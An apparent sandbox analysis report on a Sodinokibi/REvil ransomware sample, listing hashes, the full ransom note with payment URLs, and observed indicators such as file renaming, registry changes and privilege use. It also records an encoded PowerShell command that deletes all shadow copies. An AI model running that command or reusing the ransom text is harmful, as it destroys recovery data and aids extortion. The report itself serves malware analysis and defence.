sodinokibi | 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708

General

Target

ransomware.exe
Size

116KB
MD5

b86ad4241b01376b3924a380f6f4c934
SHA1

10682d08a18715a79ee23b58fdb6ee44c4e28c61
SHA256

14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708
SHA512

54fd19cfc37255e7ddf3456d1a2989558522cf58e5eee6ca916c19542921fe3ba4e7a431a35e0e1edbfc37c5651d392e7c3c54eb408754c0488021b16fdf92c9

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Path

C:\2d177g-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 2d177g. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] WE ARE READY TO PUBLISH UR DATA TO PUBLIC ACCESS IF YOU NOT CONTACT US (USE TOR BROWSER TO VIEW) http://dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd.onion/posts/125?s=7ee0235fc7f67403393ad971dea5809e [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7084D32C9ADE1A6C 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/7084D32C9ADE1A6C Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: GWgiqPDydwx0byXHEM/EfsOLIP8Uvp3a1ccWVpURGW+FKW2yLmG6jrdow0XYddkB 4ygwfNbmustKKxdoWOZDioJ0BGTBxvsbW7JkcnF/SWXtjVXTPeduEUOBshi9fuIr E08658RUXliV2dtcI3kGTgsjCuIVhIy5CxGXFKL49MwWt3m51HCqfAwU38B2/DUE yDN6Ww+asX7d84srD8tRr+KteFYEg/761z8W7jxT5mvBvF989d+oCYJ3NErkLSqX gLPHEE7OzGN56DfpMhWMdsJ7BjwPB7+wCSnACEWbF5twjIJfleUeE7HlvGfR4GVw UNSiNzQ1YshWLoFPHJqH53nChbQYTfouz55CsIwM1icSInM11HgSgtw+vGtsapsG T3tmwBerXLphFc0SbCXOxD/zAK10cjx3FUlJ/TZVYapwHM+GNmj65G/OrUCrtB0i dZwePyPDjShEV6rN19qdzhWvTe2wBZFPfONcrA12f/xqdR+O6H2CuMwvEJRhIcsW 9fOXOTm+N1k64a0Ibki53BprWXRU4bHDGBAQLvsWNGnjwI5scMRrbqiILMdKHnCs ktoXtgtDPDC/WXGfLaAgAF0lnVmRQMVHL+G6iWNjBg08st/qC7snLEoGjkCjzv7l YI2XX5ujbkuCnhZrmmMBLxZcRsHLsGYHXXE9cmFzbY9TnAsksqqzmFHCj5yMyGA2 iTpl7O4MB2dbvVNqflk3KNvnS/8QZBL6z5/vWHJc6F78MvXdF+tQtaeKOw60cX/P cSI89ZBdlFQiZ5YE51Op1ovg2XxI7D/C5xTYQmDqT4NFFfDPZc456hq+a7xRzwoS x95GgqiOwp2ivqLm/EBWhMHWgTPqnafMVHkXCGpNjbYQuS1cYmzaaQyG+VIP973J pSwsSKCZXa1ow94h1jkBbaHOeKhXLom089N8eWPtLOh4QXPHutZoQMqk0wu/OASt YFDIb9CNUCTYkkEy0RkLLKc38E6loVSvKrKm4Y9Zutvjg5OEYFGB/97VVl9qmU+p v1p7bLHHV2R65SsN8kuxd1qZ4MFq7CStBclCu7CxYRWtc11sb9r6zdubE3AqdMCv 3yrKrJkq9V9EAvLDKGfogqk+Vtpe9GcUozwZNcysqlJBF8ouU0HcmItOvbAzYAck 88fBAK1K4SY3LAIWMNHMynfH/kAVnjtfwNo2wteQUMTKyOYCixuQ8RQVlw3Q104r mgznELn5efo8yhY0PkbB0SuY+6cLeB/JAuibWhs6v506DMVA9ZoI93f7Ur3ZnyVI 2nrvl/GuYgIrYSlR1MlglCtcSray4K2Au3xCYGdf4ZQ= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7084D32C9ADE1A6C

http://decryptor.cc/7084D32C9ADE1A6C

Signatures

Modifies extensions of user files 6 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

ransomware.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\EditExpand.png => \??\c:\users\admin\pictures\EditExpand.png.2d177g	ransomware.exe
File renamed	C:\Users\Admin\Pictures\InvokeConvert.tiff => \??\c:\users\admin\pictures\InvokeConvert.tiff.2d177g	ransomware.exe
File renamed	C:\Users\Admin\Pictures\ResumeAssert.crw => \??\c:\users\admin\pictures\ResumeAssert.crw.2d177g	ransomware.exe
File renamed	C:\Users\Admin\Pictures\SwitchImport.png => \??\c:\users\admin\pictures\SwitchImport.png.2d177g	ransomware.exe
File opened for modification	\??\c:\users\admin\pictures\InvokeConvert.tiff	ransomware.exe
File renamed	C:\Users\Admin\Pictures\DisableInitialize.crw => \??\c:\users\admin\pictures\DisableInitialize.crw.2d177g	ransomware.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

ransomware.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\7yvs.bmp"	ransomware.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

ransomware.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1124	ransomware.exe
Token: SeDebugPrivilege	1308	powershell.exe
Token: SeBackupPrivilege	1512	vssvc.exe
Token: SeRestorePrivilege	1512	vssvc.exe
Token: SeAuditPrivilege	1512	vssvc.exe
Token: SeTakeOwnershipPrivilege	1124	ransomware.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

ransomware.exepowershell.exe

pid process

1124 ransomware.exe
1308 powershell.exe
1308 powershell.exe

pid	process
1124	ransomware.exe
1308	powershell.exe
1308	powershell.exe

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe

Drops file in Program Files directory 27 IoCs

Processes:

ransomware.exe

description	ioc	process
File opened for modification	\??\c:\program files\PushSelect.dxf	ransomware.exe
File opened for modification	\??\c:\program files\ReceiveUpdate.3gp2	ransomware.exe
File opened for modification	\??\c:\program files\SelectWrite.gif	ransomware.exe
File created	\??\c:\program files (x86)\2d177g-readme.txt	ransomware.exe
File opened for modification	\??\c:\program files\ImportPush.xsl	ransomware.exe
File opened for modification	\??\c:\program files\OptimizeSplit.rle	ransomware.exe
File opened for modification	\??\c:\program files\PushComplete.tiff	ransomware.exe
File opened for modification	\??\c:\program files\NewEnter.xhtml	ransomware.exe
File opened for modification	\??\c:\program files\ResetUninstall.ogg	ransomware.exe
File opened for modification	\??\c:\program files\ShowEdit.html	ransomware.exe
File opened for modification	\??\c:\program files\UninstallResume.mp3	ransomware.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\2d177g-readme.txt	ransomware.exe
File opened for modification	\??\c:\program files\ApproveSkip.otf	ransomware.exe
File opened for modification	\??\c:\program files\CopyResize.vsw	ransomware.exe
File created	\??\c:\program files\microsoft sql server compact edition\2d177g-readme.txt	ransomware.exe
File opened for modification	\??\c:\program files\EditGroup.mov	ransomware.exe
File opened for modification	\??\c:\program files\InstallCheckpoint.wmf	ransomware.exe
File opened for modification	\??\c:\program files\RemoveInstall.vsx	ransomware.exe
File opened for modification	\??\c:\program files\SyncInvoke.mp2v	ransomware.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\2d177g-readme.txt	ransomware.exe
File opened for modification	\??\c:\program files\PingDisable.ppt	ransomware.exe
File opened for modification	\??\c:\program files\TraceAssert.vstx	ransomware.exe
File opened for modification	\??\c:\program files\UnpublishPop.mpv2	ransomware.exe
File created	\??\c:\program files\2d177g-readme.txt	ransomware.exe
File opened for modification	\??\c:\program files\InstallShow.TTS	ransomware.exe
File opened for modification	\??\c:\program files\ProtectRedo.wma	ransomware.exe
File opened for modification	\??\c:\program files\ConvertOptimize.M2T	ransomware.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

ransomware.exe

description	pid	process	target process
PID 1124 wrote to memory of 1308	1124	ransomware.exe	powershell.exe
PID 1124 wrote to memory of 1308	1124	ransomware.exe	powershell.exe
PID 1124 wrote to memory of 1308	1124	ransomware.exe	powershell.exe
PID 1124 wrote to memory of 1308	1124	ransomware.exe	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

C:\Users\Admin\AppData\Local\Temp\ransomware.exe
"C:\Users\Admin\AppData\Local\Temp\ransomware.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1124

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1308